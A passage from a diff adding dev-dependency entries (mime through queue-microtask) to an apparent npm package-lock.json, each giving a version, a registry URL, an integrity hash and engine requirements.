"sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/mimic-fn": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz", + "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "dev": true + }, + "node_modules/mri": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz", + "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mrmime": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-1.0.1.tgz", + "integrity": "sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", + "dev": true + }, + "node_modules/nlcst-to-string": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/nlcst-to-string/-/nlcst-to-string-3.1.1.tgz", + "integrity": "sha512-63mVyqaqt0cmn2VcI2aH6kxe1rLAmSROqHMA0i4qqg1tidkfExgpb0FGMikMCn86mw5dFtBtEANfmSSK7TjNHw==", + "dev": true, + "dependencies": { + "@types/nlcst": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-abi": { + "version": "3.45.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.45.0.tgz", + "integrity": "sha512-iwXuFrMAcFVi/ZoZiqq8BzAdsLw9kxDfTC0HMyjXfSL/6CSDAGD5UmR7azrAgWV1zKYq7dUUMj4owusBWKLsiQ==", + "dev": true, + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-6.1.0.tgz", + "integrity": "sha512-+eawOlIgy680F0kBzPUNFhMZGtJ1YmqM6l4+Crf4IkImjYrO/mqPwRMh352g23uIaQKFItcQ64I7KMaJxHgAVA==", + "dev": true + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.1.tgz", + "integrity": "sha512-cRVc/kyto/7E5shrWca1Wsea4y6tL9iYJE5FBCius3JQfb/4P4I295PfhgbJQBLTx6lATE4z+wK0rPM4VS2uow==", + "dev": true, + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==", + "dev": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-path": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.1.0.tgz", + "integrity": "sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==", + "dev": true, + "dependencies": { + "path-key": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz", + "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==", + "dev": true, + "dependencies": { + "mimic-fn": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/open/-/open-9.1.0.tgz", + "integrity": "sha512-OS+QTnw1/4vrf+9hh1jc1jnYjzSG4ttTBB8UxOwAnInG3Uo4ssetzC1ihqaIHjLJnA5GGlRl6QlZXOTQhRBUvg==", + "dev": true, + "dependencies": { + "default-browser": "^4.0.0", + "define-lazy-prop": "^3.0.0", + "is-inside-container": "^1.0.0", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-6.3.1.tgz", + "integrity": "sha512-ERAyNnZOfqM+Ao3RAvIXkYh5joP220yf59gVe2X/cI6SiCxIdi4c9HZKZD8R6q/RDXEje1THBju6iExiSsgJaQ==", + "dev": true, + "dependencies": { + "chalk": "^5.0.0", + "cli-cursor": "^4.0.0", + "cli-spinners": "^2.6.1", + "is-interactive": "^2.0.0", + "is-unicode-supported": "^1.1.0", + "log-symbols": "^5.1.0", + "stdin-discarder": "^0.1.0", + "strip-ansi": "^7.0.1", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.3.0.tgz", + "integrity": "sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==", + "dev": true, + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parse-entities": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.1.tgz", + "integrity": "sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-latin": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/parse-latin/-/parse-latin-5.0.1.tgz", + "integrity": "sha512-b/K8ExXaWC9t34kKeDV8kGXBkXZ1HCSAZRYE7HR14eA1GlXX5L8iWhs8USJNhQU9q5ci413jCKF0gOyovvyRBg==", + "dev": true, + "dependencies": { + "nlcst-to-string": "^3.0.0", + "unist-util-modify-children": "^3.0.0", + "unist-util-visit-children": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dev": true, + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-to-regexp": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.2.1.tgz", + "integrity": "sha512-JLyh7xT1kizaEvcaXOQwOc2/Yhw6KZOvPf1S8401UyLk86CU79LN3vl7ztXGm/pZ+YjoyAJ4rxmHwbkBXJX+yw==", + "dev": true + }, + "node_modules/periscopic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/periscopic/-/periscopic-3.1.0.tgz", + "integrity": "sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^3.0.0", + "is-reference": "^3.0.0" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-dir/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-dir/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/postcss": { + "version": "8.4.25", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.25.tgz", + "integrity": "sha512-7taJ/8t2av0Z+sQEvNzCkpDynl0tX3uJMCODi6nT3PfASC7dYCWV9aQ+uiCf+KBD4SEFcu+GvJdGdwzQ6OSjCw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-load-config": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", + "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", + "dev": true, + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^1.10.2" + }, + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/prebuild-install": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.1.tgz", + "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==", + "dev": true, + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^1.0.1", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/preferred-pm": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/preferred-pm/-/preferred-pm-3.0.3.tgz", + "integrity": "sha512-+wZgbxNES/KlJs9q40F/1sfOd/j7f1O9JaHcW5Dsn3aUUOZg3L2bjpVUcKV2jvtElYfoTuQiNeMfQJ4kwUAhCQ==", + "dev": true, + "dependencies": { + "find-up": "^5.0.0", + "find-yarn-workspace-root2": "1.2.16", + "path-exists": "^4.0.0", + "which-pm": "2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-plugin-astro": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/prettier-plugin-astro/-/prettier-plugin-astro-0.7.2.tgz", + "integrity": "sha512-mmifnkG160BtC727gqoimoxnZT/dwr8ASxpoGGl6EHevhfblSOeu+pwH1LAm5Qu1MynizktztFujHHaijLCkww==", + "dev": true, + "dependencies": { + "@astrojs/compiler": "^0.31.3", + "prettier": "^2.7.1", + "sass-formatter": "^0.7.5", + "synckit": "^0.8.4" + }, + "engines": { + "node": "^14.15.0 || >=16.0.0", + "pnpm": ">=7.14.0" + } + }, + "node_modules/prettier-plugin-astro/node_modules/@astrojs/compiler": { + "version": "0.31.4", + "resolved": "https://registry.npmjs.org/@astrojs/compiler/-/compiler-0.31.4.tgz", + "integrity": "sha512-6bBFeDTtPOn4jZaiD3p0f05MEGQL9pw2Zbfj546oFETNmjJFWO3nzHz6/m+P53calknCvyVzZ5YhoBLIvzn5iw==", + "dev": true + }, + "node_modules/prismjs": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.29.0.tgz", + "integrity": "sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dev": true, + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prompts/node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/property-information": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.2.0.tgz", + "integrity": "sha512-kma4U7AFCTwpqq5twzC1YVIDXSqg6qQK6JN0smOw8fgRy1OkMi0CYSzFmsy6dnqSenamAtj0CyXMUJ1Mf6oROg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/purgecss": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/purgecss/-/purgecss-5.0.0.tgz", + "integrity": "sha512-RAnuxrGuVyLLTr8uMbKaxDRGWMgK5CCYDfRyUNNcaz5P3kGgD2b7ymQGYEyo2ST7Tl/ScwFgf5l3slKMxHSbrw==", + "dev": true, + "dependencies": { + "commander": "^9.0.0", + "glob": "^8.0.3", + "postcss": "^8.4.4", + "postcss-selector-parser": "^6.0.7" + }, + "bin": { + "purgecss": "bin/purgecss.js" + } + }, + "node_modules/purgecss/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/queue-microtask": { + "version": 